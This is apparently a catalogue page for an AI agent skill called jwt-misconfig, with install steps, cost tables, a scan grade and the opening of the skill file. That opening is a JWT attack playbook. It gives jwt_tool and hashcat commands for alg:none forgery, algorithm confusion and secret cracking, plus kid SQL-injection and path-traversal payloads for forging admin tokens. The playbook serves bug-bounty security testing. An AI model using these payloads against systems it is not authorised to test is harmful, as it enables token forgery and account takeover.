Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/jwt-misconfigWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-misconfig)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-misconfig"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-misconfig"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00006 | $0.01453 |
| Opus 5 | $0.00003 | $0.00727 |
| Sonnet 5 | $0.00001 | $0.00291 |
| Haiku 4.5 | $0.00001 | $0.00145 |
Grade A, and why
jwt-misconfig scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT Misconfiguration
What Is Broken and Why
JWTs that accept alg: none, trust the algorithm declared in the token header, or use
guessable HMAC secrets allow attackers to forge arbitrary tokens — including admin-level
claims — without knowing any signing key. Algorithm confusion attacks exploit servers
that accept both RS256 (asymmetric) and HS256 (symmetric): the attacker signs with the
public key (which is public) using HS256 and the server verifies it as a valid HMAC.
Key Signals
Authorization: Bearer <base64url>.<base64url>.<base64url>in requests- JWTs stored in cookies (check
httpOnly,Secure,SameSiteflags) - JWKS endpoint at
/.well-known/jwks.jsonor/oauth/certs(exposes public key) algfield in JWT header — watch forHS256,RS256,nonekid(Key ID) field in JWT header — check for path traversal or SQLi- Short or dictionary-based HMAC secret (crack with hashcat)
Methodology
- Decode the JWT header and payload (
base64urldecode each part). - Note the
algvalue; attempt to change it tononeand remove signature. - If
algisRS256, fetch the public key from JWKS endpoint; re-sign with HS256 using the public key as the HMAC secret. - If
algisHS256, attempt to crack the secret withhashcatorjwt_tool. - Check
kidvalue — test for path traversal (../../dev/null), SQLi, or SSRF. - Modify
expclaim to far-future timestamp; attempt to use expired tokens. - Escalate claims: change
role,admin,sub,userIdin payload after forging.
Payloads & Tools
# jwt_tool — Swiss army knife for JWT attacks
pip install jwt_tool
jwt_tool TOKEN -X a # alg:none attack
jwt_tool TOKEN -X s # algorithm confusion (RS256→HS256)
jwt_tool TOKEN -C -d wordlist.txt # crack HMAC secret
# hashcat JWT cracking
hashcat -a 0 -m 16500 TOKEN wordlist.txt
# Manual alg:none
# 1. Decode header: {"alg":"RS256","typ":"JWT"}
# 2. Change to: {"alg":"none","typ":"JWT"}
# 3. Re-encode and append empty signature: header.payload.
# (trailing dot is required)
# kid SQLi
{"kid": "' UNION SELECT 'attacker_secret' --", "alg":"HS256"}
# Sign token with 'attacker_secret'
# kid path traversal (sign with empty string)
{"kid": "../../dev/null", "alg":"HS256"}
# /dev/null reads as empty → sign with empty string ""
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 136 lines · 0 tokens per session scan A bf7208cd75db
jwt-misconfig is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 6 tokens to every session and 1,453 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
skill-coverage-audit
Trace codepaths in diffs, map against tests, auto-generate missing coverage — use before shipping PRs.
skill-verification-gate
Use when about to declare work complete, fixed, passing, or done.
skill-tdd
Build a behavior change with observed red, minimal green, and measured test consolidation.
race
Race condition / TOCTOU playbook — limit overrun (one-time codes used twice, gift cards spent twice), single-packet attack (last-byte sync) to force parallel processing, and state-confusion races (file upload + read, order before payment). Use when timing-sensitive logic could be abused — one-time codes, coupons/gift…
feature-loop
Coding agent for the project-level harness — one feature per session, must verify, must be mergeable.
debug
Use when something is broken — a failing or flaky test, crash, wrong result or regression — and the root cause must be reproduced and proven before any fix. On-demand; callable mid-implement. NOT a feature to spec or build (that is specify/implement), NOT the lint/test gate (that is verify), NOT adversarial diff…